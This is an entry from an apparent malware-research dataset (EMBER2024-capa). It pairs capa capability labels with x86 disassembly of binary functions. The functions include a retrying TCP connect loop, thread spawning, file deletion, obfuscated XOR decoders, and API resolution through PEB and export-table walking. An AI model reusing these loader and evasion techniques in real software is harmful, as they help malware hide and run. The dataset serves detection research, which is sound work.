joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f260
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20f8
call fcn.0041f580
mov eax, dword [0x463014]
xor eax, esp
mov dword [esp + 0x20f4], eax
push esi
push edi
call fcn.00438943
cmp dword [0x4640e8], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x4640d4
cmovae esi, dword [0x4640d4]
push eax
push esi
mov dword [edi], 0
call fcn.00439e79
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40f3f4
cmp dword [edi], 0x22
je 0x40f3ea
movzx edi, ax
lea eax, [esp + 0x28]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40f3d3
cmp dword [0x464400], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4643ec
mov word [esp + 0x10], ax
cmovae esi, dword [0x4643ec]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x469498], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40f383
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xbb8
call edi
push dword [0x469498]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x469498], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40f350
lea ecx, [esp + 0x1b8]
call fcn.0040efc0
cmp eax, 0xffffffff
je 0x40f3d3
cmp byte [0x4673dc], 1
je 0x40f3c4
lea ecx, [esp + 0x1b8]
call fcn.0040efc0
cmp eax, 0xffffffff
jne 0x40f394
or eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x20f4]
xor ecx, esp
call fcn.0041e421
mov esp, ebp
pop ebp
ret
push dword [0x469498]
call esi
mov byte [0x4673dc], 0
mov ecx, dword [esp + 0x20fc]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.0041e421
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041d609
push str.invalid_stoi_argument
call fcn.0041d5c9
int3
Function at 0x417fd0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x417db0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x417e40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x417ed0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x417f60
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call esi
jmp 0x417fc1
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.0040aab0
mov ecx, 1
call fcn.0040dd40
call fcn.0040e5d0
call fcn.00415d10
jmp 0x417f70

Function at 0x420fbd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x1001dfc0
Capabilities:
Enumerate pe sections

Disassembly:
mov edx, dword [esp + 8]
push esi
push edi
cmp word [edx + 0xc], 0xffff
movzx eax, byte [edx + 6]
je 0x1001dfea
mov eax, dword [esp + 0x14]
or word [eax], 2
movsd xmm0, qword [edx + 6]
movsd qword [eax + 0x10], xmm0
xor eax, eax
pop edi
pop esi
ret 0x10
sub eax, 0
je 0x1001e027
dec eax
je 0x1001e011
dec eax
jne 0x1001dfe3
mov esi, dword [esp + 0x14]
or word [esi], 8
movzx eax, byte [edx + 8]
push eax
call fcn.1001aaf0
mov dword [esi + 0x10], eax
xor eax, eax
pop edi
pop esi
ret 0x10
mov ecx, dword [esp + 0x14]
pop edi
pop esi
or word [ecx], 4
movzx eax, byte [edx + 8]
mov dword [ecx + 0x10], eax
xor eax, eax
ret 0x10
test byte [esp + 0x18], 1
je 0x1001dfe3
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push esi
call fcn.1001c5e0
test eax, eax
jne 0x1001dfe5
mov eax, dword [esp + 0x10]
mov ecx, 0x221
cmp ax, cx
je 0x1001e059
mov ecx, 0x4bc
cmp ax, cx
jne 0x1001e07b
lea eax, [esp + 0x10]
push eax
push esi
call fcn.1001d580
lea eax, [esp + 0x10]
push eax
push esi
call fcn.1001c5e0
test eax, eax
jne 0x1001dfe5
mov eax, dword [esp + 0x10]
mov ecx, 0x207
cmp ax, cx
jne 0x1001dfe3
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
or word [edi], 0x10
push esi
call fcn.1005fe85
test eax, eax
jne 0x1001dfe5
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
add eax, 2
push ecx
push eax
lea eax, [esp + 0x1c]
push eax
push dword [esi + 0x18]
push dword [esi + 4]
call fcn.1001b6c0
test eax, eax
js 0x1001dfe5
push ebx
mov ebx, dword [esp + 0x18]
push 1
shr eax, 1
push eax
push ebx
push dword [esi + 0x10]
call fcn.10030f40
mov dword [edi + 0x10], eax
cmp ebx, 0x100528e0
je 0x1001e0f1
push ebx
call fcn.100324b0
cmp dword [edi + 0x10], 0xffffffff
pop ebx
jne 0x1001dfe3
pop edi
mov eax, 0xfffffffe
pop esi
ret 0x10
Function at 0x10032830
Capabilities:
Delete file

Disassembly:
jmp 0x10039610
sub esp, 0x218
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x21c]
je 0x10039652
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.100391c0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100396a0
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100396a0
cmp dword [esp + 4], 0xffffffff
je 0x100396a0
push eax
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 4

Function at 0x10039450
Capabilities:
Create directory

Disassembly:
sub esp, 0x218
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x21c]
push esi
mov esi, dword [esp + 0x224]
je 0x1003949c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop esi
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 8
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.100391c0
cmp dword [esp + 0x214], 0x104
jl 0x100394d4
push 0xa1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
jmp 0x100394e1
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x10039506
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x10039506
cmp dword [esp + 4], 0xffffffff
je 0x10039506
push edx
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 8

Function at 0x10039610
Capabilities:
Delete file

Disassembly:
jmp 0x10039610
sub esp, 0x218
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x21c]
je 0x10039652
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.100391c0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100396a0
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100396a0
cmp dword [esp + 4], 0xffffffff
je 0x100396a0
push eax
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 4
Function at 0x10039880
Capabilities:
Get common file path

Disassembly:
sub esp, 0x21c
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x218], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
je 0x100398ca
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.1003a853
add esp, 0x21c
ret 8
push esi
push eax
push ecx
lea ecx, [esp + 0xc]
call fcn.10038fb0
mov eax, dword [esp + 0x218]
push dword [esp + 8]
add eax, eax
shr eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 4]
mov esi, eax
call fcn.10039150
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x1003991c
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x1003991c
cmp dword [esp + 4], 0xffffffff
je 0x1003991c
push edx
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x21c
ret 8

Function at 0x10039940
Capabilities:
Get file attributes

Disassembly:
sub esp, 0x218
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x21c]
je 0x10039982
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.100391c0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100399d0
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100399d0
cmp dword [esp + 4], 0xffffffff
je 0x100399d0
push eax
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x218
ret 4

Function at 0x10039b30
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x21c
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x218], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x228]
mov ecx, dword [esp + 0x22c]
je 0x10039b88
push ecx
push eax
push dword [esp + 0x22c]
push dword [esp + 0x22c]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.1003a853
add esp, 0x21c
ret 0x10
push esi
push ecx
push eax
lea ecx, [esp + 0xc]
call fcn.10038fb0
mov eax, dword [esp + 0x218]
add eax, eax
shr eax, 1
push eax
push dword [esp + 0xc]
push dword [esp + 0x230]
push dword [esp + 0x230]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [esp + 4]
call fcn.10039150
lea ecx, [esp + 4]
mov esi, eax
call fcn.10039150
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
cmp eax, ecx
je 0x10039bf1
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x10039bf1
cmp dword [esp + 4], 0xffffffff
je 0x10039bf1
push eax
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x21c
ret 0x10
Function at 0x10039ce0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x21c
mov eax, dword [0x1004f8f4]
xor eax, esp
mov dword [esp + 0x218], eax
cmp dword [0x100512c4], 0
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
je 0x10039d2a
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.1003a853
add esp, 0x21c
ret 8
push esi
push eax
push ecx
lea ecx, [esp + 0xc]
call fcn.10038fb0
mov eax, dword [esp + 0x218]
push dword [esp + 8]
add eax, eax
shr eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 4]
call fcn.10039150
mov esi, eax
test esi, esi
jle 0x10039d5c
dec esi
lea ecx, [esp + 4]
call fcn.10039150
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
cmp eax, ecx
je 0x10039d8a
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x10039d8a
cmp dword [esp + 4], 0xffffffff
je 0x10039d8a
push eax
call fcn.1003d94d
add esp, 4
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1003a853
add esp, 0x21c
ret 8
Function at 0x1005a3bf
Capabilities:
Encode data using xor

Disassembly:
call 0x1005a338
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1005a368
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1005a384
xor edx, 0
jmp 0x1005a38f
xor edx, edx
jmp 0x1005a3a6
jmp 0x1005a3b2
xor eax, eax
push 0x8427d7c0
call 0x1005a3bf
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1005a3fb
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1005a3d4
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1005a412
add eax, 0
jno 0x1005a417
add esi, 0
ret 0x10

Function at 0x1005b180
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1005b1a2
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1005b344
cmp edi, dword [ebp + 0x10]
jb 0x1005b344
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1005ac6c
inc edi
jmp 0x1005b22b
jmp 0x1005b238
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1005ac6c
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1005ac6c
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1005b28c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1005b270
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1005b2ba
add dword [eax], 0x39
jle 0x1005b296
sub al, 0xf5
mov ch, al
call fcn.1005b2cf
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x1005cfa7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1005cfbd
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1005cfce
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1005d00f
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1005f37b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1005f2c4
add ebx, 0
push ecx
call 0x1005f2d9
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c9d0072
sub ebx, dword [0x6c9ef8b1]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c9ef8a1
call fcn.1005ada3
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1005a2b1
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1005f437
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1005f437
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1005f3ee
mov eax, 1
lock xchg dword [0x6c9ef8ad], eax
push 0x3dd1fc71
call 0x1005f37b
push esi
add esp, 8
cmp eax, 0
jne 0x1005f364
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1005f38a
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1005f39f
cmp ecx, edx
cmp eax, 0
je 0x1005f3c4
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1005f3ae
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1005f3dd
dec eax
loope 0x1005f3e0
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c9ef8ad], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1005f414
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1005f429
jmp 0x1005f434
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1005f322
Function at 0x1006649c
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10066772
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c9dc525
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c9d34eb
push 0xffffffffffffffff
call fcn.1005d69c
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x10066506
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1006651e
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x10066766
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1006673a
Function at 0x10075f6c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10075f8e
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10075f8e
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10075f8e
ret
cmp word [ebx + 4], 0x14c
jne 0x10075f8e
test word [ebx + 0x16], 2
je 0x10075f8e
test word [ebx + 0x16], 0x100
je 0x10075f8e
cmp word [ebx + 0x18], 0x10b
jne 0x10075f8e
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10075f8e
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1007601a
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10075fae
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1005cef9
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10075f8e
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1007601a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10075f8e
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10075f8e
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10075f8e
ret
cmp word [ebx + 4], 0x14c
jne 0x10075f8e
test word [ebx + 0x16], 2
je 0x10075f8e
test word [ebx + 0x16], 0x100
je 0x10075f8e
cmp word [ebx + 0x18], 0x10b
jne 0x10075f8e
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10075f8e
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1007601a
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10075fae
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1005cef9
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10075f8e
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100760d1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1007612a
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100760d1
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100760e0
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047bd83
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10076131
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005cfa7
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100761d0
add edi, 4
add eax, 2
dec ecx
jne 0x10076116
call 0x1007617d
loope 0x10076173
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100761cd
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100761de
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10076191
cmp eax, ecx
ja 0x10076191
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1007621b
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10076211
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d486
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]